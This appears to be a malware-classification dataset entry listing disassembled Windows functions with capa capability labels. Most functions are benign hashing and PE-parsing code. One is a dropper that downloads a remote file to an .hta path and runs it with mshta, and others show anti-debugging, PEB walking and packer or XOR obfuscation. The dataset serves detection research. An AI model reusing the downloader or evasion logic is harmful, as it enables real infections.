joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ae940
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4af07f
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
movabs rcx, 0xcbf29ce484222325
jmp 0x4ae96d
lea rax, [rdx + 0x10]
dec rbx
mov rcx, rsi
test rbx, rbx
jle 0x4aebf1
mov rdx, rax
mov rsi, qword [rax]
nop dword [rax]
test rsi, rsi
je 0x4aec1d
mov edi, dword [rsi + 0x10]
shr edi, 1
mov r8, qword [rax + 8]
and edi, 0x3f
lea rax, [0x00519ca0]
jmp qword [rax + rdi*8]
mov rax, rcx
add rsp, 0x10
pop rbp
ret
lea rax, [0x004ccaa0]
lea rbx, [0x00517c90]
call sym.runtime.gopanic
inc rax
cmp rax, r8
jge 0x4aec42
mov r9, qword [rsi + rax*8]
xor r10d, r10d
nop
jmp 0x4aec77
lea rdi, [0x004ccb20]
mov rsi, rcx
movabs rcx, 0x100000001b3
jmp 0x4ae963
movzx r11d, r9b
xor rcx, r11
inc r10
shr r9, 8
movabs r11, 0x100000001b3
imul rcx, r11
cmp r10, 8
jl 0x4aec5b
jmp 0x4aec30
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp sym.internal_bisect.Hash

Function at 0x4af220
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x4af237
inc rax
cmp rax, 4
jge 0x4af24f
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x4af234
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x4af260
inc rax
cmp rax, 4
jge 0x4af26e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x4af297
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x4af27b
jmp 0x4af25d
Function at 0x263d113a0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
xor ecx, ecx
lea r8, str.c:userspublicexample.hta
lea rdx, str.https:__www.siguefutbol.com_wp_content_plugins_wp_automatic_d.txt
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x28], 0
xor ecx, ecx
lea r9, str.mshta
mov qword [rsp + 0x20], 0
lea r8, str.c:userspublicexample.hta
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x38
ret

Function at 0x263d115b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.263d122b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.263d122b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x263d11620
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x263d17064]
mov r12, rcx
test ebx, ebx
jle 0x263d11750
mov rax, qword [0x263d17068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x263d1166c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x263d116f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x263d11650
mov rcx, r12
call fcn.263d11da0
mov rsi, rax
test rax, rax
je 0x263d11772
mov rax, qword [0x263d17068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.263d11ed0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x263d17068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x263d11757
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x263d116ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x263d11700
add dword [0x263d17064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x263d17068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x263d116ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.263d115b0
nop dword [rax]
xor ebx, ebx
jmp 0x263d11677
mov rax, qword [0x263d17068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.263d115b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.263d115b0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x263d11a10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x263d170a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x263d17080]
test rbx, rbx
je 0x263d11a64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x263d11a5b
test r12, r12
je 0x263d11a5b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x263d11a40
lea rcx, [0x263d170a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x263d11da0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x263d142c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x263d11dc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x263d11dc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x263d11dc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x263d11e15
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x263d11e0c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x263d11dc0
add rax, 0x28
cmp rax, r9
jne 0x263d11df8
xor eax, eax
ret

Function at 0x263d11e20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x263d142c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x263d11e40
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x263d11e48
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x263d11e40
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x263d11ed0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x263d142c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x263d11ef0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x263d11ef8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140011037
Capabilities:
Create thread

Disassembly:
jmp 0x1400126d0
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x1400250f5]
call fcn.140011442
lea rdx, str._Start_ExitWithAPC_Test_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [0x1400114ba]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
xor r9d, r9d
mov r8d, 3
mov edx, 3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov qword [rbp + 8], rax
mov dword [rbp + 0x84], 0
jmp 0x140012776
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 5
jge 0x1400127b3
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 8]
lea r8, [0x140011316]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x84]
mov qword [rbp + rcx*8 + 0x48], rax
jmp 0x140012768
call qword [sym.imp.ucrtbased.dll_getchar]
mov dword [rbp + 0xa4], 0
jmp 0x1400127d3
mov eax, dword [rbp + 0xa4]
inc eax
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 5
jge 0x1400127fa
movsxd rax, dword [rbp + 0xa4]
xor r8d, r8d
mov rdx, qword [rbp + rax*8 + 0x48]
lea rcx, [0x140011456]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
jmp 0x1400127c5
mov r9d, 0xffffffff
mov r8d, 1
lea rdx, [rbp + 0x48]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rbp + 0xc4], 0
jmp 0x14001282f
mov eax, dword [rbp + 0xc4]
inc eax
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 5
jge 0x14001284c
movsxd rax, dword [rbp + 0xc4]
mov rcx, qword [rbp + rax*8 + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140012821
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str._End_ExitWithAPC_Test_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011096
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001bcd0]
call fcn.1400113ca
mov eax, edi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.140011226
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x140011276
Capabilities:
Terminate process

Disassembly:
jmp 0x140013e70
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011320
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015200
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015220
xor al, al
jmp 0x1400152a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015233
xor al, al
jmp 0x1400152a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001525d
xor al, al
jmp 0x1400152a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015271
xor al, al
jmp 0x1400152a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015283
xor al, al
jmp 0x1400152a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001529f
xor al, al
jmp 0x1400152a1
mov al, 1
add rsp, 0x38
ret
Function at 0x14000c980
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000c9cc
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000c9c4
cmp dword [rcx + 0x3c], edx
jl 0x14000c9c4
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14000c9c4
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000c9cc
mov rax, rdx
add rsp, 0x18
ret

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rdx, qword [0x140003050]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rdx, rdx
jne 0x1400010c9
mov rdx, qword [rbx]
mov rcx, qword [0x140003018]
test rcx, rcx
jne 0x1400010d8
mov rcx, qword [rbx]
mov r9, qword [0x140003040]
mov r8d, 1
test r9, r9
setne al
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], al
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rcx
lea rax, [0x140002200]
mov rdx, rbx
mov qword [rsp + 0x38], rax
lea rax, [0x1400021f0]
mov ecx, edi
mov qword [rsp + 0x30], rax
mov rax, qword [0x140003048]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x1800f5150
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
movaps xmmword [rsp + 0x60], xmm6
mov rax, qword [0x1801bbd88]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rdi, rcx
xor r14d, r14d
add rcx, 0x3b8
mov ebx, r14d
call fcn.180337560
xchg byte [rbp - 0x74c28140], al
ror dword [rax - 0x73], cl
invalid

Function at 0x1800fc83e
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x90
mov qword [rsp + 0x38], 0xfffffffffffffffe
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm7
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x70], edi
mov rax, qword [0x1801bbd88]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r14, r9
mov r15, r8
mov rdi, rdx
mov qword [rsp + 0x40], rdx
xor r12d, r12d
mov dword [rsp + 0x30], r12d
mov rcx, rdx
call fcn.180341932
loopne 0x1800fc83e
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov ebp, r12d
cmp dword [r14 + 0x10], r12d
jle 0x1800fc984
mov esi, r12d
xorps xmm6, xmm6
movsd xmm7, qword [0x180132648]
nop dword [rax]
mov rax, qword [r14 + 8]
mov rcx, qword [rsi + rax]
cmp qword [r15], rcx
je 0x1800fc974
lea rcx, [rsp + 0x50]
call fcn.1803287c1
nop
mov rdx, qword [r14 + 8]
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
movsd xmm2, qword [0x1801bb3f0]
mov rdx, qword [rsi + rdx]
mov rcx, qword [r15]
call fcn.180328c27
in al, dx
mov ebx, r12d
lea rcx, [rsp + 0x50]
call fcn.1803298d6
push 0xffffffffffffff85
sar byte [rsi + 0x77], 0x8b
ror dword [rax - 0x73], cl
and al, 0x50
call fcn.180329dc4
cmp byte [rax - 0x7d], cl
cmp byte [rax], al
je 0x1800fc958
movsd qword [rsp + 0x48], xmm6
mov edx, ebx
lea rcx, [rsp + 0x50]
call fcn.180329dc4
invalid
inc ebx
lea rcx, [rsp + 0x50]
call fcn.1803298d6
adc edi, dword [rbx]
fdivr dword [rcx + rcx*4 + 0x48]
lea ecx, [rsp + 0x50]
call fcn.18032aeaf
jns 0x1800fc974
inc ebp
add rsi, 8
cmp ebp, dword [r14 + 0x10]
jl 0x1800fc8a0
invalid
mov rax, rdi
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.18010ca20
movaps xmm6, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x70]
add rsp, 0x90
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180111290
Capabilities:
Packed with generic packer

Disassembly:
call fcn.18071411a
call fcn.1807145b0
call fcn.1807145b0

Function at 0x18021a15b
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x18021a1b5
mov byte [rsp + 4], dl
add edx, ecx
jg 0x18021a29c
jle 0x18021a21a
pop rax
int 0x5d
and al, 0xd7
adc ah, bl
invalid
pushfq
lea r11, [rbx + rsi]
xchg word [rsp], cx
mov eax, dword [rsp + 1]
bswap r15d
mov cx, r8w
jmp 0x18021a19f
add rsp, 3
xchg byte [rsp + 4], bl
mov r9w, word [rsp + 1]
rdtsc
xchg r9w, ax
lea rsp, [rsp + 5]
jmp 0x18021a264
mov r8d, 0xec00c8a3
jmp 0x18021a2a2
mov r9w, word [rsp + 1]
rdtsc
xchg r9w, ax
jmp 0x18021a206
jbe 0x18021a1f3
add rsp, 3
xchg byte [rsp + 4], bl
jmp 0x18021a225
mov r9d, r10d
mov r11, 0xffffffff8bbcff18
jmp 0x18021a2cd
rol r10d, 0
mov rcx, 0xffffffffc5247c11
mov al, dl
cpuid
dec r14w
jmp 0x18021a27d
jns 0x18021a24e
mov r9d, r10d
mov r11, 0xffffffff8bbcff18
jmp 0x18021a2cd
mov r8d, 0xec00c8a3
lea rsp, [rsp + 8]
not r10d
mov rdx, 0x146da66b
sub rsp, 0x10
jmp 0x18021a242
call fcn.18021a302
rep insd dword [rdi], dx
std
test byte [rdi - 0x3f], dh
jrcxz 0x18021a342
in al, dx
mov eax, dword [rsi - reloc.mfc140u.dll_operator]
add byte [rbx + 0x48], 0x8d
and al, 8
lea rsp, [rsp + 8]
add r10d, 0x50332e2b
xchg cx, r8w
push di
js 0x18021a2b7
jns 0x18021a2b7
lea rcx, [rdx + riz + 0xb23cdd7]
mov ebp, 0xf9a2596c
xchg bp, r8w
lea rsp, [rsp + 2]
call fcn.18021a3a3
cli
invalid
out 0xfd, al
mov ecx, 0x8748ba00
cmp al, 0x24
jmp 0x18021a384
mov r11w, word [rsp]
mov r14b, byte [rsp]
bswap eax
not r15
bswap r14
push qword [rsp]
ret 8

Function at 0x18035144d
Capabilities:
Encode data using xor

Disassembly:
or eax, 0x300bd0ab
movabs byte [0xb9dd3b019f6c38a3], al
loopne 0x18035147f
movabs byte [0x9557f538db2fe659], al
mov al, 0x68
xchg dword [rcx - 0x37], ebp
sub eax, 0x75af9389
pop rbx
add byte [rax], dh
xor dword [rax - 0x2d], ecx
add dword [rsi], eax
invalid
invalid
lahf
and byte [rax], ch
add byte [rdx], dl
add ebx, dword [rbx - 0x4f]
add dword [rax + reloc.mfc140u.dll_operator], ecx
shl byte [rdi + 0x3b6d7304], 1
and al, 0x42
insd dword [rdi], dx
cmp esp, dword [rdx + rax*2]
test dword [rbx + 9], edx
jae 0x18035147b
movabs dword [reloc.mfc140u.dll_operator], eax
mov bh, 0x23
xor ecx, 0x1f
adc dword [rax - reloc.mfc140u.dll_operator], 0x15
push 0x5860fed
pop rax
jrcxz 0x180351491
push rsp
adc esi, dword [rdi - reloc.mfc140u.dll_operator]
sbb dh, dl
push rdx
or dil, byte [rax + 0x3ca7feeb]
adc dl, cl
fistp word [rax + rcx*4 + 0xf]
or esp, dword [rcx]
loope 0x180351471
sbb dword [rax - 0x6f], edi
retf
Function at 0x18036e219
Capabilities:
Encode data using xor

Disassembly:
adc eax, 0x9b038ac
cmp byte [rax + 0x75b74c09], dh
mov dil, 0x75
fdiv st(3)
xor dword [rax + 0x26], eax
jl 0x18036e251
out 0x76, eax
cmpsb byte [rsi], byte [rdi]
rcl cl, 0xa0
sub ah, byte [rbp + 0x5d]
xor dword [rbx + rbp - 0x23], ebx
out dx, al
pop r11
adc ecx, edx
movabs byte [0xa531eddfbf9458f6], al
loopne 0x18036e214
scasd eax, dword [rdi]
xor dl, byte [rcx]
js 0x18036e216
cmp bh, byte [rax - 0x58]
adc byte [rdx + rax*4 - 0x46dd40fd], cl
sbb eax, 0xfd206528
and bh, byte [rcx + 0x2065281d]
std
push rbx
cwde
jmp 0x18036e286
and byte [rdx - 0x125c4d26], cl
mov bl, byte [rdx]
mov bl, 0xa0
xor ecx, dword [rsi + reloc.mfc140u.dll_operator]
mov ebx, 0xb4435af7
invalid

Function at 0x1803a96bc
Capabilities:
Encode data using xor

Disassembly:
invalid
push rdi
pop rbp
jrcxz 0x1803a968a
ret 0xdb89
push rcx
xchg byte [0x17657f0b5], cl
insd dword [rdi], dx
mov dh, 0xb
mov cl, 0xdd
mov byte [rdx], dh
adc al, 0xf6
rcr byte [rbx + 0x4d42595], 0x22
mov word [rax], ds
jge 0x1803a972b
and eax, 0x8c2204d4
sbb byte [rbp + 0x54], bh
push 0x18
add al, 0x88
loope 0x1803a975c
mov bl, 0xb0
jle 0x1803a96d4
pushfq
mov esi, 0xf126eed9
xor ah, byte [rdx - 0x79]
push rdx
movsd dword [rdi], dword [rsi]
pop rdx
jge 0x1803a96cf
out dx, eax
jle 0x1803a9768
loopne 0x1803a96ad
invalid
invalid
invalid
adc esp, dword [rdx]
stosb byte [rdi], al
rcl esp, 0xa2
mov cl, 1
invalid

Function at 0x1803f8ef6
Capabilities:
Encode data using xor

Disassembly:
add eax, 0x7667bcdf
pop rsi
xor edi, edx
leave
mov esi, 0x3789b12
or byte [rdx + rdi*2 - 0x6d910487], dh
or dword [rbp + 0x17], reloc.mfc140u.dll_operator
xor byte [rcx - 0x78], bh
cmp byte [rbx + 9], dh
pop rdx
invalid
Function at 0x18075d80e
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
inc dword [0x1801fc014]
pushfq
push rsi
sub rsp, 0x16
jmp 0x18072ff9f
mov qword [rsp + 0xd], r11
lea rsp, [rsp + 0x20]
cld
call fcn.18072ff3f
lea rsp, [rsp + 3]
mov byte [rsp + 0x15], r12b
mov word [rsp + 0x13], dx
push bx
add rsp, 5
pushfq
jmp 0x18072ff55
jmp 0x18073336a
cmp dword [0x1801fc014], 0
jmp 0x1807333f2
lea rsp, [rsp + 0x10]
jmp fcn.1807334b3
je 0x18072fed4
jne 0x1807333dc
mov al, 0x36
movsb byte [rdi], byte [rsi]
ret
call 0x18073e902
jmp 0x18075d8a0
mov rsi, 0xffffffffc07a7dcd
xchg byte [rsp], r13b
not r13
jmp 0x18075d7f3
xchg r12, r9
mov dx, word [rsp + 6]
lea rsp, [rsp + 4]
mov r9, qword [rsp + 0x50]
push r14
jmp 0x18075d7a0
mov r12w, 0x7175
mov dword [rsp + 3], ebp
mov di, r9w
push word [rsp + 3]
push word [rsp + 6]
lea rsi, [r11 + riz]
jmp 0x18075d7b6
mov sil, 0x14
xchg dx, si
mov rsi, qword [rsp + 0x60]
mov rdx, rsp
mov r13b, dil
xchg r12, rdi
jmp 0x18075d8f2
jmp 0x18075d7d6
mov edi, edx
mov rdi, qword [rsp + 0x7d]
mov edx, dword [rsp]
mov edx, 0xfbbaed00
jmp 0x18075d87b
xchg edi, edx
mov edi, 0x750710a2
mov dx, bp
xchg di, dx
not edx
mov edx, ebp
jmp 0x18075d810
mov edi, 0xd93c9b29
bswap r12d
mov rdi, qword [rsp]
setne r12b
mov r12, qword [rsp + 0x70]
mov rdi, qword [rsp]
jmp 0x18075d826
mov rdx, qword [rsp + 0x88]
lea rsp, [rsp + 0x90]
jmp 0x18075d8b9
bswap rdx
mov rdx, r15
bswap rdx
mov rdx, qword [rsp]
setge dl
mov rdx, qword [rsp]
jmp 0x18075d858
mov rax, qword [rax + riz]
mov rax, qword [rax + riz + 0x10]
push rax
jmp 0x18073e8fd
pop rax
sub rax, 0x73e902
jmp 0x18075d8ce
mov rax, qword gs:[0x60]
mov rax, qword [rax + riz + 0x18]
mov rax, qword [rax + riz + 0x30]
jmp 0x18075d891
push rax
jmp 0x18073004a
push r10w
mov word [rsp], cx
mov byte [rsp], sil
lea rsp, [rsp + 2]
mov r13, qword [rsp + 0x68]
not r12d
jmp 0x18075d83d
Function at 0x14000793c
Capabilities:
Terminate process

Disassembly:
push rdi
sub rsp, 0xd0
call fcn.14000557c
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x60]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14000797b
cmp qword [rsp + 0x38], 0
je 0x14000797b
mov rax, qword [rsp + 0x30]
cmp dword [rax + 0x118], 0xa
je 0x140007985
mov eax, 1
jmp 0x140007b27
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
sub rax, 0x10
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x30]
call fcn.140004b78
test eax, eax
je 0x1400079c6
cmp qword [rsp + 0x20], 0
jne 0x1400079d0
mov eax, 1
jmp 0x140007b27
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0x88
rep stosb byte [rdi], al
movabs rax, 0xf5bd373480a6b89b
mov qword [rsp + 0x48], rax
lea r8, [rsp + 0x40]
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x30]
call fcn.140004bfc
test eax, eax
jne 0x140007a1f
mov eax, 1
jmp 0x140007b27
movabs rax, 0x64dc7db288c5015f
mov qword [rsp + 0x78], rax
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x30]
call fcn.140004bfc
test eax, eax
jne 0x140007a54
mov eax, 1
jmp 0x140007b27
movabs rax, 0x858bcb1046fb6a37
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x58]
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x30]
call fcn.140004bfc
test eax, eax
jne 0x140007a89
mov eax, 1
jmp 0x140007b27
